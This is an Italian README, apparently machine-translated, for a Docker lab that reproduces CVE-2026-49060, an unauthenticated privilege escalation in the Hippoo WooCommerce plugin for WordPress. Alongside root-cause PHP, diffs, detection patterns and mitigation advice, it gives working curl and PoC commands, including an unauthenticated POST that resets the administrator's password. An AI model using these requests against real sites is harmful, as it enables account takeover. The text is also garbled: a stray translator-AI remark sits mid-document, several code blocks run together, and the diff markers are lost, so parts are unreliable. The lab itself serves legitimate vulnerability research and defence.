rootdirective-sec/cve-2026-49060-lab
Questa repository contiene un laboratorio Docker locale per riprodurre e validare CVE-2026-49060, una vulnerabilità di assegnazione dei privilegi errata che interessa il plugin WordPress Hippoo Mobile App for WooCommerce.
Il comportamento vulnerabile è esposto tramite il namespace dell'API REST clonato di Hippoo:```text /wc-hippoo/v1/ext/
Nel target vulnerabile, un visitatore non autenticato può accedere a una route clonata degli utenti REST di WordPress e può aggiornare la password dell'utente amministratore tramite una richiesta HTTP non autenticata. Nel target patchato, la stessa richiesta viene bloccata con `403 Forbidden`.
Questo laboratorio confronta due versioni di Hippoo:
| Servizio | Versione Hippoo | Scopo | URL |
| --------- | -------------: | ---------------------------- | ------------------------ |
| `vuln` | 1.9.4 | Target di confronto vulnerabile | `http://localhost:8081` |
| `patched` | 1.9.5 | Target di confronto patchato | `http://localhost:8082` |
La catena di vulnerabilità dimostrata è:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Questo lab valida il comportamento di autorizzazione della versione vulnerabile rispetto a quella corretta utilizzando Hippoo 1.9.4 e Hippoo 1.9.5.
Il lab è volutamente limitato ai servizi Docker locali. Non prende di mira sistemi esterni e non include persistenza, web shell, malware o callback esterni.
Questo lab utilizza Hippoo 1.9.4 come target di confronto vulnerabile perché le advisory pubbliche identificano come interessate le versioni fino alla 1.9.4.
Questo lab utilizza Hippoo 1.9.5 come target di confronto patchato perché i metadati delle advisory pubbliche identificano 1.9.5 come versione corretta per l'intervallo di versioni vulnerabile dimostrato.
La registrazione pubblica di CVE-2026-49060 descrive il problema a livello generale come Incorrect Privilege Assignment / Privilege Escalation. Questo lab si concentra sul comportamento di autorizzazione osservabile in Hippoo 1.9.4 e lo confronta con Hippoo 1.9.5.
La sintesi della causa radice in questo README si basa sul confronto dei sorgenti tra la versione vulnerabile e quella patchata di Hippoo usate nel lab.
Questo lab non pretende di testare ogni route di Hippoo. Si concentra sulla route REST degli utenti WordPress clonata:```text /wc-hippoo/v1/ext/wp/v2/users/
Il laboratorio non dimostra:
* persistenza,
* upload di web shell,
* esecuzione arbitraria di comandi,
* callback esterni,
* comportamento malware,
* attacchi contro sistemi non di laboratorio,
* o attività post-compromissione oltre la validazione locale dell'aggiornamento della password.
## Sintesi della Causa Radice
La causa radice è un difetto logico nei permessi nella gestione di ruoli e permessi di Hippoo.
Hippoo espone route REST clonate di WordPress e WooCommerce sotto il proprio namespace:```text
/wc-hippoo/v1/ext/
Il comportamento di clonazione delle route è sensibile alla sicurezza perché la route clonata deve preservare o rafforzare i requisiti di autorizzazione della route originale. Se la route clonata riceve un callback di permessi permissivo, utenti non autenticati potrebbero essere in grado di raggiungere endpoint REST che dovrebbero richiedere autenticazione e autorizzazione.
Il comportamento di clonazione delle route pertinente segue questo schema:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
Il modello di sicurezza previsto è:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
Il comportamento vulnerabile si verifica perché Hippoo 1.9.4 usa lo stesso valore di ritorno per due stati diversi:```text
administrator / unrestricted access
unauthenticated visitor / no user
In Hippoo `1.9.4`, l'helper dei permessi restituisce `null` quando non è presente un utente WordPress connesso:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
La versione vulnerabile tratta anche null come consentito:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Questo crea il flusso di dati vulnerabile:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
Il problema non è semplicemente che esista una rotta REST. Il problema è che la decisione di autorizzazione può trattare erroneamente un visitatore non autenticato come senza restrizioni.
La versione corretta separa questi stati.
In Hippoo 1.9.5, i visitatori non autenticati restituiscono false invece di null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
Il controllo di autorizzazione corretto quindi nega esplicitamente `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
La modifica rilevante per la sicurezza è:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
Ecco perché il lab mostra:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
La patch modifica il significato dei valori di ritorno delle autorizzazioni.
Nella versione vulnerabile:```text null means administrator/full access null also means unauthenticated/no user
Nella versione corretta:```text
null means administrator/full access
false means unauthenticated/no role/no access
La modifica importante a livello di origine nell'helper delle autorizzazioni è:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
La decisione di autorizzazione viene anche modificata:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Questa patch non rimuove la funzionalità di clonazione delle route di Hippoo. Invece, corregge il confine di fiducia attorno alla valutazione dei permessi.
La lezione di sicurezza della patch è:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Le funzioni di autorizzazione sensibili alla sicurezza dovrebbero utilizzare valori distinti per stati distinti:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
Il lab esegue due installazioni WordPress isolate tramite Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
I due servizi WordPress utilizzano database separati e versioni plugin separate:
| Servizio | Componente | Versione / Ruolo |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | applicazione target vulnerabile |
| `patched` | WordPress + WooCommerce + Hippoo | applicazione target corretta |
| `db-vuln` | MariaDB | database per il target vulnerabile |
| `db-patched` | MariaDB | database per il target corretto |
| `init-vuln` | servizio di inizializzazione WordPress | inizializza il target vulnerabile |
| `init-patched` | servizio di inizializzazione WordPress | inizializza il target corretto |
Servizi esposti di default:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
Il laboratorio utilizza versioni Hippoo bloccate:
| Target | Hippoo version | Expected behavior |
|---|---|---|
http://localhost:8081 | 1.9.4 | la rotta degli utenti clonati non autenticati è consentita |
http://localhost:8082 | 1.9.5 | la rotta degli utenti clonati non autenticati è bloccata |
Il laboratorio installa WooCommerce perché Hippoo si integra con le classi e le route REST di WooCommerce.
Non è richiesto alcun pacchetto Python di terze parti. La PoC utilizza solo moduli della libreria standard di Python.
Avvia il laboratorio da uno stato pulito:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Controlla lo stato del servizio:```bash
docker compose ps
Expected healthy services:
Servizi sani previsti:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Controlla le applicazioni web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Esegui la convalida in sola lettura su entrambi i target:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Esegui la convalida locale attiva su entrambi i target:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Esegui la validazione attiva con una password esplicita:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## Uso del PoC
Passa uno o più URL target locali come argomenti posizionali:```bash
python3 poc/poc.py <target_url> [target_url...]
Esempi:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
La modalità predefinita è di sola lettura. Invia una richiesta `GET` non autenticata alla rotta degli utenti clonati e segnala se l'accesso è consentito o bloccato.
Opzioni supportate:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Esempio di validazione attiva:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
Il PoC accetta solo target loopback/locali:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
Rifiuta di proposito i target non locali.
Comando:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Segnale atteso del target vulnerabile:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Segnale atteso del target patchato:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Riepilogo previsto:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Comando:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Segnale atteso del target vulnerabile:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Segnale atteso del target patchato:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
La convalida attiva modifica solo la password amministratore WordPress usa e getta all'interno del target lab locale vulnerabile.
Credenziali predefinite del lab locale prima della convalida attiva:```text
Username: admin
Password: AdminPass123!
Password predefinita dopo una convalida attiva riuscita sul target vulnerabile:```text Username: admin Password: Cve49060LabPass123!
## Come funziona la validazione
Il validatore individua per prima cosa l'API REST di WordPress.
Alcuni ambienti WordPress espongono le rotte REST tramite permalink leggibili:```text
/wp-json/
Altri li espongono in modo più affidabile tramite il fallback della query-string:```text /?rest_route=/
Il validatore prova entrambe le forme e utilizza quella che restituisce un indice REST JSON.
Dopo la scoperta REST, cerca la route degli utenti clonati di Hippoo:```text
/wc-hippoo/v1/ext/wp/v2/users
Poi esegue una richiesta GET non autenticata in sola lettura:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Comportamento vulnerabile previsto:```text
HTTP 200 OK
JSON user object returned
Comportamento previsto dopo la patch:```text HTTP 403 Forbidden JSON rest_forbidden error returned
Quando `--update-password` è abilitato, il validatore invia una richiesta POST non autenticata:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Comportamento vulnerabile atteso:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Comportamento previsto dopo la correzione:```text
HTTP 403 Forbidden
The update is blocked.
La differenza importante non è se la route esista. La route esiste in entrambe le versioni. La differenza di sicurezza è se a una richiesta non autenticata sia consentito invocarla.
Sonda vulnerabile di sola lettura:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Risultato atteso:```text
HTTP/1.1 200 OK
Content-Type: application/json
Sonda patchata in sola lettura:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
I'm not going to translate anything here because the input chunk is empty—there is no source text provided between the `INPUT:` marker and the `Expected result:` label. Since there is no content to translate, the correct output is an empty response, preserving the seamless concatenation of the overall document.```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Sonda vulnerabile attiva:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Risultato atteso:```text
HTTP/1.1 200 OK
Sonda attiva patchata:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Risultato atteso:```text
HTTP/1.1 403 Forbidden
Il comportamento vulnerabile consente l'accesso non autenticato alle route REST clonate sotto il namespace di Hippoo.
La route dimostrata più sensibile dal punto di vista della sicurezza è la route clonata degli utenti di WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
Nella vulnerabile destinazione locale, una richiesta non autenticata può aggiornare la password dell'utente amministratore. Ciò dimostra l'impatto della compromissione dell'account nel laboratorio controllato.
Il potenziale impatto nel mondo reale, a seconda della configurazione del sito e delle rotte esposte, include:
* accesso non autorizzato a dati sensibili delle API REST,
* compromissione dell'account amministratore,
* escalation dei privilegi,
* modifica non autorizzata dei record degli utenti WordPress,
* e compromissione completa del sito dopo aver ottenuto l'accesso come amministratore.
Questo laboratorio dimostra solo il fallimento dell'autorizzazione e l'aggiornamento della password dell'amministratore locale. Non include sfruttamento post-autenticazione, modifica dei plugin, esecuzione di codice, persistenza o azioni distruttive.
## Rilevamento e monitoraggio
Gli indicatori potenziali includono richieste non autenticate allo spazio dei nomi REST clonato di Hippoo:```text
/wc-hippoo/v1/ext/
Pattern di route ad alto rischio:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Indicatori sospetti:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Esempi di pattern di log di accesso:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Azioni di monitoraggio consigliate:
* Controllare i log di accesso del server web per `/wc-hippoo/v1/ext/`.
* Controllare i log di autenticazione di WordPress per accessi amministratore non previsti.
* Controllare i record utente di WordPress per modifiche recenti alle password.
* Controllare indirizzi email, ruoli e timestamp di creazione degli account amministratore.
* Controllare i tempi di modifica dei file di plugin/temi se si sospetta un'acquisizione dell'account amministratore.
* Monitorare le richieste API REST che restituiscono `200 OK` a utenti non autenticati dove l'autorizzazione dovrebbe essere richiesta.
## Note su mitigazione e patch
Aggiornare Hippoo Mobile App for WooCommerce a una versione patchata.
Per il confronto specifico di laboratorio, Hippoo `1.9.5` blocca il comportamento dimostrato della rotta degli utenti clonati non autenticati che è consentito in `1.9.4`.
Per gli ambienti di produzione, aggiornare all'ultima versione disponibile invece di fermarsi alla versione di confronto di laboratorio.
Passaggi di mitigazione consigliati:
* Aggiornare Hippoo Mobile App for WooCommerce all'ultima versione patchata disponibile.
* Confermare che la versione installata sia più recente dell'intervallo interessato.
* Verificare se `/wc-hippoo/v1/ext/` è esposta pubblicamente.
* Ruotare le password degli amministratori se si sospetta uno sfruttamento.
* Controllare gli account amministratore di WordPress per modifiche non autorizzate.
* Controllare i log di accesso web per richieste non autenticate alle rotte REST clonate.
* Disattivare temporaneamente il plugin se non è possibile applicare subito la patch.
* Utilizzare WAF o virtual patching come livello temporaneo, non come sostituto dell'aggiornamento.
Lezioni di ingegneria della sicurezza:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Verifica lo stato del container:```bash docker compose ps
Controlla i log di inizializzazione:```bash
docker compose logs init-vuln init-patched
Controlla i servizi web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Esegui una convalida di sola lettura:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Esegui la validazione attiva:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Controlla i plugin attivi:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Controlla le versioni di Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Ispeziona la logica dei permessi nel target vulnerabile:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Ispeziona la logica dei permessi nel target patchato:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Salva le prove di validazione:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Ferma e rimuovi i container e le reti:```bash docker compose down --remove-orphans
Rimuovi container, reti e volumi:```bash
docker compose down -v --remove-orphans
Rimuovi i file di evidenza locali se creati:```bash rm -rf evidence/
## Confini di sicurezza
Questo laboratorio è destinato esclusivamente a ricerca di sicurezza locale e dimostrazioni controllate.
Non eseguire il PoC o richieste curl manuali contro sistemi che non possiedi o per cui non hai esplicita autorizzazione a testare.
Non utilizzare credenziali di produzione reali, dati reali dei clienti o segreti di produzione in questo laboratorio.
L'ambito previsto è limitato a servizi Docker locali come:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Il PoC è intenzionalmente solo HTTP e limitato all'ambito locale. Non utilizza Docker, Docker Compose, WP-CLI o API di container.
La modalità di validazione attiva modifica la password solo per l'utente WordPress selezionato all'interno del lab locale monouso.
Il lab non include payload per:
L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text unauthenticated request
## Riferimenti
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce Plugin <= 1.9.4 Escalation dei privilegi
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* Plugin WordPress.org: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* SVN del plugin WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* Tag SVN del plugin WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* Manuale dell'API REST di WordPress: Route ed Endpoint
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* Guida OWASP per i test di sicurezza web: Test per il bypass dell'autorizzazione
https://owasp.org/www-project-web-security-testing-guide/
| Affermazione | Evidenza | Come verificarlo in questo lab |
|---|
CVE-2026-49060 riguarda Hippoo Mobile App per WooCommerce fino alla versione 1.9.4. | Le advisory pubbliche indicano come interessate le versioni di Hippoo <= 1.9.4 / fino alla 1.9.4. | Rivedere la sezione References e confrontare la versione del servizio vuln. |
Hippoo 1.9.5 è usato come target di confronto patchato. | I metadati delle advisory pubbliche identificano 1.9.5 come versione patchata per l'intervallo interessato. | Eseguire docker compose logs init-vuln init-patched e confermare le versioni dei plugin inizializzati. |
| Il comportamento vulnerabile è esposto tramite il namespace REST clonato di Hippoo. | Hippoo ri-registra le route REST esterne sotto /wc-hippoo/v1/ext/. | Eseguire python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
Hippoo 1.9.4 consente l'accesso non autenticato alla route degli utenti clonata in questo lab. | Il PoC del lab riceve 200 OK da http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Eseguire il comando di validazione in sola lettura contro 8081. |
Hippoo 1.9.5 blocca la stessa richiesta non autenticata in questo lab. | Il PoC del lab riceve 403 Forbidden da http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Eseguire il comando di validazione in sola lettura contro 8082. |
| Il target vulnerabile può aggiornare la password dell'amministratore tramite una POST non autenticata in questo lab locale. | Il PoC attivo riceve 200 OK dal target vulnerabile quando viene usato --update-password. | Eseguire python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| Il target patchato blocca la richiesta non autenticata di aggiornamento password. | Hippoo 1.9.5 restituisce una risposta di tipo forbidden per la stessa route utenti clonata. | Eseguire la validazione attiva contro entrambi i target. |
| Il PoC è solo HTTP. | poc/poc.py invia solo richieste HTTP e non chiama Docker, WP-CLI o API dei container. | Ispezionare poc/poc.py. |